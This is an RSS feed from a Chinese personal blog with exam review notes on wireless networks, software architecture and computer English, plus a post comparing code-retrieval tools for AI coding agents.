<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>mengnankkのblog</title>
    <link>https://blog.tokenlen.top/</link>
    
    <image>
      <url>https://blog.tokenlen.top/icon.png</url>
      <title>mengnankkのblog</title>
      <link>https://blog.tokenlen.top/</link>
    </image>
    
    <atom:link href="https://blog.tokenlen.top/rss2.xml" rel="self" type="application/rss+xml"/>
    <atom:link href="https://pubsubhubbub.appspot.com/" rel="hub"/>
    <description>清风拂柳影，碧水映花香。</description>
    <pubDate>Sat, 27 Jun 2026 05:33:25 GMT</pubDate>
    <generator>http://hexo.io/</generator>
    
    <item>
      <title>无线网络</title>
      <link>https://blog.tokenlen.top/2026/06/27/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E8%BF%87%E7%A8%8B/lastteam/wuxian/</link>
      <guid>https://blog.tokenlen.top/2026/06/27/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E8%BF%87%E7%A8%8B/lastteam/wuxian/</guid>
      <pubDate>Fri, 26 Jun 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h3 id=&quot;第一章&quot;&gt;&lt;strong&gt;第一章&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. 简答题&lt;/strong&gt; (1)</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h3 id="第一章"><strong>第一章</strong></h3><p><strong>1. 简答题</strong> (1) 无线网络从覆盖范围的角度划分可以分成哪些类？适当举例说明。</p><p>按覆盖范围从小到大，无线网络主要分为以下四类：</p><ol><li><strong>无线个域网 (WPAN):</strong> 覆盖范围通常在10米左右，用于个人设备间的互联。<strong>举例：</strong> 蓝牙 (Bluetooth)、ZigBee。</li><li><strong>无线局域网 (WLAN):</strong> 覆盖范围通常在100米左右，用于建筑物或园区内的局域连网。<strong>举例：</strong> Wi-Fi (IEEE 802.11系列)。</li><li><strong>无线城域网 (WMAN):</strong> 覆盖范围通常为几公里到几十公里，用于城市级别的高速网络接入。<strong>举例：</strong> WiMAX (IEEE 802.16系列)。</li><li><strong>无线广域网 (WWAN):</strong> 覆盖范围最广，可达全国甚至全球，提供大范围的移动通信服务。<strong>举例：</strong> 蜂窝移动通信网络（4G、5G）、卫星通信。</li></ol><p>(2) 什么是无线穿戴网络？</p><p>无线穿戴网络是指在人体内部、体表或人体附近周围，由多个微型的可穿戴或植入式传感器、执行器通过无线通信方式组成的局部自组织网络，主要用于医疗健康监测、人机交互等领域。</p><p><strong>2. 名词解释</strong> 通信子网 移动 Ad hoc 网</p><p><strong>通信子网：</strong> 计算机网络中负责数据传输、交换和路由任务的底层网络结构，通常由通信控制处理机、通信线路和其他网络连接设备组成，对应于OSI参考模型的下三层（物理层、数据链路层、网络层）。</p><p><strong>移动 Ad hoc 网：</strong> 又称移动自组织网络，是一种由带有无线收发装置的移动节点组成的多跳、临时性、无中心的分布式网络。网络中的每个节点既是终端（主机），又承担路由器的数据转发功能。</p><h3 id="第二章"><strong>第二章</strong></h3><p><strong>1. 名词解释</strong> 衰落 信号</p><p><strong>衰落：</strong> 在无线通信中，由于电磁波在传播过程中受地形、障碍物遮挡、多径效应或环境相对运动的影响，导致接收端收到的信号幅度和相位随时间或空间发生剧烈波动的现象。</p><p><strong>信号：</strong> 数据的物理表现形式，是信息的电磁或电子编码载体。在无线网络中，通常指承载信息的电磁波（分为模拟信号和数字信号）。</p><p><strong>2. 简答题</strong> (1) 传输媒体可分为哪两类？请分别进行说明。</p><p><strong>导引型传输媒体（有线）：</strong> 电磁波被限制在固定的物理介质通道中传播。<strong>说明：</strong> 具有较高的抗干扰能力和安全性。常见的有双绞线、同轴电缆和光纤。</p><p><strong>非导引型传输媒体（无线）：</strong> 电磁波在自由空间（如空气、真空）中向四面八方传播。<strong>说明：</strong> 摆脱了线缆束缚，具有高度的移动性和灵活性。常见的有无线电波、微波和红外线。</p><h3 id="第三章"><strong>第三章</strong></h3><p><strong>1. 名词解释</strong> Li-Fi</p><ul><li><strong>Li-Fi：</strong> （Light Fidelity，可见光通信）是一种利用可见光波谱（如LED灯管发出的光亮度的高频闪烁）来实现高速数据传输的无线通信技术。</li></ul><p><strong>2. 简答题</strong></p><ol><li>简述四次握手 RTS/CTS 的过程。</li></ol><p><strong>简述四次握手 RTS/CTS 的过程。</strong> 答：RTS/CTS（请求发送/允许发送）主要用于解决隐藏终端问题，过程如下：</p><ol><li><strong>RTS：</strong> 发送方在发送数据前，先向接收方发送一个 RTS 帧（包含即将发送数据的时间长度）。</li><li><strong>CTS：</strong> 接收方收到 RTS 后，若信道空闲，则广播一个 CTS 帧作为回应，同意接收，并让周围其他节点在规定时间内保持静默。</li><li><strong>Data：</strong> 发送方收到 CTS 帧后，确认信道可用，开始发送 Data（数据）帧。</li><li><strong>ACK：</strong> 接收方成功接收完数据并校验无误后，向发送方发送 ACK（确认）帧，通信结束。</li></ol><h3 id="第四章"><strong>第四章</strong></h3><p><strong>1. 名词解释</strong> 微微网 NFC</p><p><strong>微微网：</strong> （Piconet）是蓝牙网络中最基本的组网单元。它是一个基于星型拓扑的微型网络，由一个主设备（Master）和最多七个活跃的从设备（Slave）组成，所有设备共享同一个物理信道。</p><p><strong>NFC：</strong> （Near Field Communication，近距离无线通信）是一种短距离的高频无线电技术，允许电子设备之间进行非接触式的点对点数据传输和身份识别，有效工作距离通常在10厘米以内。</p><p><strong>2. 简答题</strong> (1) 蓝牙标准文档的构成包含哪两种规范？请分别介绍这两种规范。</p><p><strong>核心规范 (Core Specification)：</strong> 定义了蓝牙系统的底层基础架构，包括物理层、基带层、链路管理器以及核心协议栈。它规定了设备之间如何建立物理连接和进行基本的数据传输。</p><p><strong>应用规范 (Profile Specification)：</strong> 建立在核心规范之上，定义了特定类型的设备或应用场景下如何使用蓝牙协议栈来实现互操作性（例如：A2DP用于音频传输，HFP用于免提通话）。它规定了不同厂家的设备实现具体功能时的统一标准。</p><h3 id="第五章"><strong>第五章</strong></h3><p><strong>1. 名词解释</strong> FDD</p><p><strong>FDD：</strong> （Frequency Division Duplex，频分双工）是一种双工通信技术，设备在两个分离的、对称的射频频率信道上分别进行数据的发送和接收，从而实现同时双向通信（全双工）。</p><p><strong>2. 简答题</strong> (3) WiMAX 的技术特点是什么？</p><p><strong>覆盖范围广：</strong> 传输距离远，最远可达几十公里。</p><p><strong>传输速率高：</strong> 能够提供宽带级别的无线数据接入。</p><p><strong>严格的 QoS 保证：</strong> 采用面向连接的机制，能针对不同业务（语音、视频、数据）提供不同级别的服务质量保证。</p><p><strong>先进的物理层技术：</strong> 采用了 OFDM/OFDMA（正交频分多址）和 MIMO（多输入多输出）技术，抗多径衰落能力强，频谱利用率高。</p><h3 id="第六章"><strong>第六章</strong></h3><p><strong>1. 简答题</strong> (1) 5G 技术的基站分为几类？请分别进行阐述各类基站的特点。</p><p><strong>宏基站 (Macro Site)：</strong> 体积大、发射功率最高，天线通常架设在铁塔或高楼顶。<strong>特点：</strong> 覆盖范围广（数公里），容量大，主要用于室外大面积基础网络覆盖。</p><p><strong>微基站 (Micro Site)：</strong> 体积较小，发射功率次之。<strong>特点：</strong> 覆盖范围在几百米到一公里左右，主要用于城市繁华地带或热点区域的“补盲”和“补热”。</p><p><strong>皮基站 (Pico Site)：</strong> 体积更小，功率较低。<strong>特点：</strong> 覆盖范围约百米级，主要用于大型室内公共场所（如商场、机场、体育馆）的深度覆盖，解决室内信号衰减问题。</p><p><strong>飞基站 (Femto Site)：</strong> 也称家庭基站，体积微小如路由器，发射功率极低。<strong>特点：</strong> 覆盖范围在十米级，通常用于家庭或小微企业内部，利用家庭宽带回传，改善室内死角体验。</p><h3 id="第七章"><strong>第七章</strong></h3><p><strong>1. 名词解释</strong> 开环控制 服务质量</p><p><strong>开环控制：</strong> 在无线通信的功率控制中，发射端不依赖接收端的反馈信息，而是仅根据自身测量到的链路状态（如接收到的导频信号强度）来估算路径损耗，并据此直接调整自身发射功率的机制。</p><p><strong>服务质量：</strong> （QoS, Quality of Service）指网络在传输数据流时，为了满足特定应用的通信需求，在带宽、延迟、抖动和丢包率等方面提供的一种性能保障能力。</p><p><strong>2. 简答题</strong> (1) 多跳网络好于单跳网络的原因是什么？</p><p><strong>扩大覆盖范围：</strong> 可以突破单个节点发射功率带来的距离限制，通过中继延伸网络覆盖。</p><p><strong>降低发射功耗：</strong> 发送信号的衰减与距离成指数关系，分成多段短距离传输比一次长距离单跳所需的总发射功率更低，有助于节省节点电量。</p><p><strong>提升可靠性与灵活性：</strong> 能够有效绕过物理障碍物；如果某条链路中断，可以通过其他节点重新路由，增强网络的抗毁性。</p><p>(3) 移动 Ad Hoc 网络面临的安全威胁有哪些？</p><p><strong>被动窃听与流量分析：</strong> 攻击者监听无线信道，获取敏感信息。</p><p><strong>假冒攻击 / 节点伪造：</strong> 恶意节点伪装成合法节点加入网络。</p><p><strong>拒绝服务攻击 (DoS)：</strong> 如信道拥塞干扰 (Jamming)，耗尽节点资源或带宽。</p><p><strong>路由攻击：</strong> 攻击者篡改路由控制信息，如黑洞攻击、虫洞攻击、女巫攻击等，破坏网络路由转发功能。</p><h3 id="第八章"><strong>第八章</strong></h3><p><strong>1. 简答题</strong> (1) 什么是无线传感器网络？</p><p>无线传感器网络（WSN, Wireless Sensor Network）是由部署在监测区域内的大量微型、廉价、低功耗的传感器节点组成，通过无线通信方式形成的一个多跳自组织网络系统。其目的是协作地感知、采集、处理网络覆盖区域中被感知对象的信息，并将其发送给观察者（网关或用户）。</p><h3 id="综合分析题"><strong>综合分析题</strong></h3><ol><li>介绍物联网的一种应用领域和场景（例如：智能家居、智慧物流、智能医疗等，包括应用的过程、原理等）并阐述该应用场景中用到的无线通信技术（包括技术的特点、通信方式、原理等）。</li></ol><p><strong>应用领域与场景：</strong> 智能家居——家庭环境温湿度自动调节及安防监控系统。</p><p><strong>应用过程与原理：</strong> 部署在房间内的无线温湿度传感器、门窗磁传感器实时采集环境数据，并将其发送给家庭智能网关。网关内置微处理器，当检测到温度过高或检测到非授权开门时，网关利用预设的逻辑进行判断，随后向智能空调或警报器发送无线控制指令，实现家电的自动调节或安防报警。</p><p><strong>用到的无线通信技术：ZigBee 技术。</strong></p><ul><li><strong>特点：</strong> 极低功耗（一节电池可用数月甚至数年）、低成本、低速率（250kbps）、支持大量节点（最多可达65000个）、安全性高（AES-128加密）。</li><li><strong>通信方式：</strong> 采用多跳网状网络（Mesh）拓扑结构通信，节点之间具有自路由和自愈能力。</li><li><strong>原理：</strong> 基于 IEEE 802.15.4 协议栈，工作在 2.4GHz 等免授权频段，采用 DSSS（直接序列扩频）技术抗干扰。网络中包含协调器（建立网络）、路由器（转发数据）和终端节点（仅采集数据）三种设备角色，协同完成家庭内部的数据传输。</li></ul><ol><li>无线网络的安全威胁有哪些，针对该威胁相应的防御方案有哪些？请至少列举出三种威胁和防御方案，并对其进行分析说明；为此，无线网络安全技术的发展趋势是什么，请简要描述至少三种趋势。</li></ol><p><strong>三种安全威胁及其防御方案：</strong></p><ol><li><strong>威胁：无线信道窃听数据（数据泄露）。</strong><ul><li><strong>防御方案：</strong> <strong>数据加密。</strong> 分析说明：采用高强度的加密算法（如 WPA3 中的 SAE，或 AES 加密机制）对链路层或应用层的传输数据进行端到端加密，确保即使攻击者截获电磁波信号也无法解析明文内容。</li></ul></li><li><strong>威胁：非法设备接入（假冒攻击）。</strong><ul><li><strong>防御方案：</strong> <strong>强身份认证与访问控制。</strong> 分析说明：部署基于 IEEE 802.1X 的认证机制或 EAP 协议，结合后台 RADIUS 服务器进行双向身份验证；同时配合 MAC 地址白名单过滤，阻止未授权设备获取网络访问权限。</li></ul></li><li><strong>威胁：拒绝服务攻击与物理干扰 (DoS/Jamming)。</strong><ul><li><strong>防御方案：</strong> <strong>跳频扩频技术与异常流量监测。</strong> 分析说明：物理层采用跳频（FHSS）或扩频技术，使信号淹没在噪声中，抵抗窄带恶意干扰；网络层部署无线入侵检测系统（WIDS），实时分析异常的高频请求并阻断恶意源。</li></ul></li></ol><p><strong>无线网络安全技术的三种发展趋势：</strong></p><ol><li><strong>主动智能化防御（AI与机器学习引入）：</strong> 从传统的基于特征库匹配的被动防御，向基于 AI 进行行为模式学习的动态主动防御转变，实现对未知 0-day 攻击和异常流量的自动化预测与响应。</li><li><strong>轻量级密码学的普及：</strong> 针对物联网（IoT）和传感器网络中海量设备计算能力弱、电量受限的特点，研发和应用计算开销更小、功耗更低但安全性达标的轻量级加密算法和认证协议。</li><li><strong>零信任架构 (Zero Trust) 的深入应用：</strong> 打破传统的“内网即安全”的边界防御思维，在无线网络中推行“永不信任，始终验证”的理念。对所有网络内外的访问实体进行持续的身份验证和动态的最小权限授权。</li></ol>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/%E6%9C%9F%E6%9C%AB%E8%80%83%E8%AF%95/">期末考试</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/%E6%97%A0%E7%BA%BF%E7%BD%91%E7%BB%9C/">无线网络</category>
      
      
      <comments>https://blog.tokenlen.top/2026/06/27/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E8%BF%87%E7%A8%8B/lastteam/wuxian/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>软件体系结构</title>
      <link>https://blog.tokenlen.top/2026/06/09/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E8%BF%87%E7%A8%8B/lastteam/sheji/</link>
      <guid>https://blog.tokenlen.top/2026/06/09/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E8%BF%87%E7%A8%8B/lastteam/sheji/</guid>
      <pubDate>Mon, 08 Jun 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;概念&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;什么是软件设计？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;软件设计是从软件需求到软件实现的活动，它把各种软件需求转换为能直接实现的软件结构。&lt;/p&gt;
&lt;ol</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>概念</h1><ol><li>什么是软件设计？</li></ol><p>软件设计是从软件需求到软件实现的活动，它把各种软件需求转换为能直接实现的软件结构。</p><ol start="2"><li>软件体系结构的主要特征：</li></ol><ul><li><p>一种对复杂系统的抽象表示</p></li><li><p>复杂系统的一种结构化模型，描述其组成部件及部件之间的关系</p></li><li><p>具有特定工程目标的模型</p></li></ul><ol start="3"><li>软件体系结构的定义：</li></ol><ul><li><p>软件体系结构是软件系统的<strong>结构</strong>，包含软件<strong>元素</strong>、软件元素<strong>外部可见的属性</strong>以及这些软件<strong>元素之间的关系</strong>；</p></li><li><p>软件体系结构是软件系统的<strong>基本组织</strong>、包含<strong>构件、构件之间</strong>、<strong>构件与环境之间的关系</strong>，以及相关的<strong>设计与演化原则</strong>；</p></li></ul><ol start="4"><li><p>六大关系：依赖，关联，聚集，构成，继承，实现</p></li><li><p>什么是构件图：用来<strong>描述系统中存在的构件、构件具有的接口、以及各个构件怎样通过接口连接起来形成一个完整的系统</strong>。</p></li><li><p>泳道：水平泳道： 通常用于表示不同的角色或组织。垂直泳道： 通常用于表示不同的阶段或时间顺序。</p></li><li><p>顶层架构设计需要涵盖的方面：</p><ol><li><p>子系统划分:将系统划分为多个子系统，每个子系统负责一个明确的功能领域。</p></li><li><p>关键构件设计:定义系统中的关键构件（如模块、组件），并明确其职责。</p></li><li><p>关键类设计:定义系统中的关键类，并明确其属性和方法。</p></li><li><p>协作关系:描述子系统、构件和类之间的交互方式。</p></li><li><p>部署模型:描绘系统在物理运行环境下的部署方式。</p></li></ol></li><li><p>评价软件体系结构：</p><ol><li>深度（Depth）：软件控制的层数</li><li>宽度(Width)：软件的跨度</li><li>扇出率：一个模块的扇出率指该模块直接控制的其他模块数。</li><li>扇入率：一个模块的扇入率指直接控制该模块的模块数。</li><li>可见域：该模块可直接或间接引用的一组模块。</li><li>连通域：模块可直接引用的模块。</li></ol></li><li><p>用例的形成：从业务需求描述出发获取参与者（Actor）和场景，对场景进行汇总、分类、抽象，形成用例。</p></li></ol><p>确定参与者和场景的关键在于理解业务领域和初步需求描述文档。在场景确定之后，通过对场景的汇总、分类归并、抽象即可形成用例。</p><ol start="10"><li><p>什么是参与者：与用例发生交互的系统外部角色，并不只限于人员，其它与目标软件发生交互的外部实体或系统也是参与者；</p></li><li><p>用例的特征：</p><ol><li>对参与者可见</li><li>描述系统功能</li></ol></li><li><p>用例图细化：</p></li></ol><ul><li>定义用例之间关</li><li>定义新的用</li><li>参与者与用例之间关系：触发执行与信息交换</li></ul><ol start="13"><li>CS风格：</li></ol><ul><li>特征：<strong>从向外提供服务的构件出发，沿着连接关系递次搜索各构件和连接子，形成的拓扑结构是一棵倒置的树</strong>**。**</li><li>优点：使得服务功能的实现很集中，便于系统实现，使用广泛。</li><li>典型应用：<strong>电子邮件系统、<strong><strong>WWW</strong></strong>系统、<strong><strong>TELNET</strong></strong>系统、<strong><strong>CVS</strong></strong>版本控制系统</strong></li></ul><ol start="14"><li>发布-订阅模式的使用场合：</li></ol><p>如果对象之间存在一对多的数据依赖关系，且当被依赖对象的数据改变时所有依赖于它的对象都应得到通知并自动更新</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/%E6%9C%9F%E6%9C%AB%E8%80%83%E8%AF%95/">期末考试</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/%E8%BD%AF%E4%BB%B6%E4%BD%93%E7%B3%BB%E7%BB%93%E6%9E%84/">软件体系结构</category>
      
      
      <comments>https://blog.tokenlen.top/2026/06/09/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E8%BF%87%E7%A8%8B/lastteam/sheji/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>检索工具解析</title>
      <link>https://blog.tokenlen.top/2026/06/03/message/new/read/</link>
      <guid>https://blog.tokenlen.top/2026/06/03/message/new/read/</guid>
      <pubDate>Tue, 02 Jun 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;实际痛点&lt;/h1&gt;
&lt;p&gt;在使用 Claude Code、Codex、Windsurf 或类似 Agent 时，真正昂贵的往往不是“生成代码”，而是“熟悉项目”。如果 Agent 对仓库没有先验认知，它通常要通过 &lt;code&gt;find / grep / glob /</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>实际痛点</h1><p>在使用 Claude Code、Codex、Windsurf 或类似 Agent 时，真正昂贵的往往不是“生成代码”，而是“熟悉项目”。如果 Agent 对仓库没有先验认知，它通常要通过 <code>find / grep / glob / read</code> 反复试探，才能逐步定位到关键文件、符号定义和调用链，这会显著增加工具调用次数、等待时间和 token 消耗</p><p>因此，所谓“上下文工程”的核心，不是简单把更多代码塞进 prompt，而是先建立一层检索基础设施：要么提前把代码结构化，要么训练一个更擅长搜索的模型，要么建立长期可复用的语义索引，要么在本地做更强的混合召回。</p><p>这里其实就是我们现在正在进行探索的四个方向，然后抽选出了代表性的四个工具解决办法</p><ol><li>codegraph：结构化检索关系的代表</li></ol><p>核心机制是将代码转变为知识图谱的形式，类/函数等等作为实体，然后他们的关系做边。是我们通过index命令本地构建的索引，核心是sqllite的邻接表，通过这个来表现节点之间的关系</p><p>然后毕竟适合符号、调用关系和影响范围分析，因为核心是图，搜索速度快，但是自然语言检索效果不好</p><ol start="2"><li>fast-context：是windsurf的子代理，是训练模型检索的代表</li></ol><p>主要是提供了专门针对检索场景的训练的模型SWE-grep和对应的mini版本，对grep/read/glob等命令更适配，然后检索的效率更高。是强化学习的代表。是语义检索最好的一位，速度也比较快。</p><ol start="3"><li>ACE：是<strong>Augment Context Engine</strong> 的上下文机制，</li></ol><p>他的核心就是扫描全部工作区的文件，然后将其向量化，上传到云端，本地留有.ace-tool的缓存。</p><p>然后进行检索，核心机制是混合检索，语义搜索+不同类型的检索加权不同。第一次的时候速度较慢，因为需要建立索引，后续逐渐变快。</p><ol start="4"><li>Semble：是一个本地的检索机制</li></ol><p>核心就是混合检索，向量+BM25关键词匹配，不同ACE的是，他是内存的索引，每次都要按需重建。然后进行RRF进行融合，然后再去对召回的进行处理，定义类/函数优先调用调用的，过滤调import这类的代码。</p><table><thead><tr><th style="text-align:left">工具</th><th style="text-align:left">核心范式</th><th style="text-align:left">底层机制</th><th style="text-align:left">优势</th><th style="text-align:left">短板</th></tr></thead><tbody><tr><td style="text-align:left">CodeGraph</td><td style="text-align:left">结构化图检索</td><td style="text-align:left">tree-sitter 解析 AST，抽取符号与关系，落到本地 SQLite/FTS5，再按图关系查询。</td><td style="text-align:left">符号级定位、调用链、影响范围分析很强，检索快且本地化。</td><td style="text-align:left">对纯自然语言问题不如语义检索灵活。</td></tr><tr><td style="text-align:left">Fast Context</td><td style="text-align:left">检索专用子代理/专用模型</td><td style="text-align:left">SWE-grep / SWE-grep-mini 经强化学习训练，专门做并行 grep/read/glob 检索。</td><td style="text-align:left">语义意图理解强，速度快，适合“先问一句自然语言，再快速找代码”。</td><td style="text-align:left">仍依赖工具探索，不像预建索引那样拥有稳定的全局结构图。</td></tr><tr><td style="text-align:left">ACE</td><td style="text-align:left">长期上下文引擎</td><td style="text-align:left">全工作区扫描、语义索引、关系映射、持续维护“实时理解”，并按相关性压缩与排序。</td><td style="text-align:left">适合跨仓库、跨服务、长期使用场景，冷启动后越用越顺。</td><td style="text-align:left">首次建立和维护索引成本较高，且依赖平台侧基础设施。</td></tr><tr><td style="text-align:left">Semble</td><td style="text-align:left">本地混合检索</td><td style="text-align:left">向量检索 + BM25 关键词匹配 + RRF 融合，再做代码感知后处理。</td><td style="text-align:left">本地、轻量、兼顾精确关键词与语义召回，适合灵活接入。</td><td style="text-align:left">索引生命周期较短，通常没有 ACE 那种持续演化的全局上下文记忆。</td></tr></tbody></table><h1>四个方向</h1><h2 id="CodeGraph">CodeGraph</h2><p>这里是代表将代码映射成图的方式，代表的工具是CodeGraph</p><p>CodeGraph 的底层思想是：不要等 Agent 进来之后再读文件，而是在本地先把仓库转换成“代码知识图谱”。它通常用 tree-sitter 把源码解析成 AST，再提取函数、类、方法、导入、继承、实现、调用等实体和关系，最后存入本地 SQLite 数据库，并结合 FTS5 做全文检索。</p><p>这意味着它不是按“文本块”理解代码，而是按“符号和边”理解代码。对于“这个函数被谁调用”“改这个接口会影响哪些实现”“某个 Controller 对应哪些路由和处理函数”这类问题，图结构天然优于普通向量检索，因为查询目标本身就是关系问题，而不是相似文本问题。</p><p>更深一层看，CodeGraph 的强项来自三步。第一步是 <strong>结构提取</strong>：AST 让系统知道什么是函数、什么是类，而不是把它们当普通字符串。 第二步是 <strong>引用解析</strong>：把“这里写了 foo()”进一步连到“foo 的定义在某处”，把 import 连到源文件，把继承连到父类。 第三步是 <strong>图遍历</strong>：从一个命中的节点出发，沿着调用边、继承边、实现边走几跳，就能快速圈出“真正相关”的局部子图。</p><p>它本质上是把“代码搜索问题”转化成“图查询问题”，因此对结构性问题极强，对模糊语义问题则往往需要额外的全文索引、别名词典，甚至和语义检索联用。</p><h2 id="Fast-Context">Fast-Context</h2><p>Fast Context 代表的是另一条路线：不预建复杂图谱，而是专门训练一个“会搜索代码库”的小模型做子代理。</p><p>它的关键不在于“懂代码生成”，而在于“懂怎么搜”。这类模型被训练去高效使用有限工具集，例如 <code>grep</code>、<code>read</code>、<code>glob</code>，并尽量用并行搜索替代串行试探；文档提到它们可在最多 4 轮中执行最多 8 个并行工具调用，并通过强化学习优化速度和检索准确率。 这说明它的优化目标不是传统语言建模损失，而是更贴近真实检索任务的“找到正确上下文、少走弯路”。</p><p>从底层机制看，Fast Context 可以视为“agentic search policy 的蒸馏和强化学习化”。普通大模型也会 grep/read，但往往策略粗糙：先搜一个词，读一个文件，再临时改方向。SWE-grep 这类模型则更像被专门训练过的“检索调度器”，它知道如何拆搜索意图、并行尝试不同路径、控制上下文污染，并把最相关的片段交回主模型。</p><h2 id="ACE">ACE</h2><p>ACE 的路线更接近“长期在线的上下文引擎”。Augment 官方页面强调，它不是简单 grep，而是对代码做语义索引和关系映射，并维护对整个技术栈、提交历史、代码模式与依赖关系的“实时理解”；检索时不会把整个仓库塞进 prompt，而是只取相关部分、做压缩、排序和优先级控制。</p><p>ACE 的核心价值有三层。第一层是 <strong>全量预处理</strong>：扫描工作区乃至跨 repo 内容，形成长期可复用的索引。 第二层是 <strong>混合信号排序</strong>：不仅看语义相似度，还看依赖关系、活跃度、代码模式、历史变更等上下文特征。 第三层是 <strong>持续更新</strong>：随着 IDE 状态、仓库变更、commit 历史变化，索引不是一次性结果，而是活的上下文底座。</p><h2 id="Semble">Semble</h2><p>Semble 则更像本地可部署的实用主义方案：把向量检索和 BM25 关键词检索结合，再用 RRF 做融合。RRF 的典型公式是把每个候选文档在各排名列表中的贡献按累加，它的优点是不必强行对齐 BM25 和向量分数的量纲，只融合排序名次即可。</p><p>这类架构的好处非常适合代码库。向量检索擅长找“语义相关”，比如“支付请求日志”可能召回 <code>billing.service.ts</code>；BM25 则擅长找精确 token，如函数名、配置键、异常字符串、协议字段。 两者融合后，再通过代码感知后处理——例如优先保留类、函数、定义点、调用点，过滤掉纯 import 或噪声片段——就能比纯文本 RAG 更适合代码场景。</p><p>从底层原理看，这四类工具其实是在回答同一个问题：<strong>如何让模型在生成前，以更低成本拿到“最值得读的上下文”</strong>。 CodeGraph 靠结构先验，Fast Context 靠检索策略模型，ACE 靠长期语义与关系索引，Semble 靠本地混合召回与重排。 它们并不是互斥的，未来更强的系统很可能会把四者结合起来：用图谱保证结构精度，用专用检索模型提升搜索效率，用混合检索提升召回率，再用长期上下文引擎维护跨会话记忆与项目级理解。</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/Agent/">Agent</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/AI/">AI</category>
      
      
      <comments>https://blog.tokenlen.top/2026/06/03/message/new/read/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>计算机英语期末复习</title>
      <link>https://blog.tokenlen.top/2026/05/23/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E8%BF%87%E7%A8%8B/lastteam/en/</link>
      <guid>https://blog.tokenlen.top/2026/05/23/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E8%BF%87%E7%A8%8B/lastteam/en/</guid>
      <pubDate>Sat, 23 May 2026 13:37:13 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;常用表达&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;系统与操作类：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;take control</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>常用表达</h1><p><strong>系统与操作类：</strong></p><ul><li></li></ul><p><code>take control of</code>：控制</p><ul><li></li></ul><p><code>deal with</code>：安排，处理，涉及</p><ul><li></li></ul><p><code>pop up</code>：突然出现</p><ul><li></li></ul><p><code>in operation</code>：在运转中；在实施中</p><ul><li></li></ul><p><code>rely on</code>：依赖，依靠</p><ul><li></li></ul><p><code>execution time</code>：运行时间</p><ul><li></li></ul><p><code>memory space</code>：内存空间</p><p><strong>硬件与结构类：</strong></p><ul><li></li></ul><p><code>consist of</code> / <code>be made up of</code>：由…组成</p><ul><li></li></ul><p><code>data structure</code>：数据结构</p><ul><li></li></ul><p><code>a piece of</code>：一块；一个</p><ul><li></li></ul><p><code>handhold computer</code>：手持计算机</p><p><strong>逻辑与连接词（写作极其好用）：</strong></p><ul><li></li></ul><p><code>in spite of</code>：不管，尽管</p><ul><li></li></ul><p><code>at the same time</code>：同时</p><ul><li></li></ul><p><code>in particular</code>：特别地</p><ul><li></li></ul><p><code>give rise to</code>：引起，使发生</p><ul><li></li></ul><p><code>make sense</code>：有意义，很重要</p><ul><li></li></ul><p><code>along with</code>：连同…一起</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/%E6%9C%9F%E6%9C%AB%E8%80%83%E8%AF%95/">期末考试</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%8B%B1%E8%AF%AD/">计算机英语</category>
      
      
      <comments>https://blog.tokenlen.top/2026/05/23/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E8%BF%87%E7%A8%8B/lastteam/en/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>基础知识收集</title>
      <link>https://blog.tokenlen.top/2026/04/16/message/base/base/</link>
      <guid>https://blog.tokenlen.top/2026/04/16/message/base/base/</guid>
      <pubDate>Wed, 15 Apr 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;Redis&lt;/h1&gt;
&lt;h2 id=&quot;1-lua脚本如何实现原子性操作&quot;&gt;1.lua脚本如何实现原子性操作&lt;/h2&gt;
&lt;p&gt;Lua 脚本实现原子性的根本原因，在于 &lt;strong&gt;Redis</description>
          
        
      
      
      
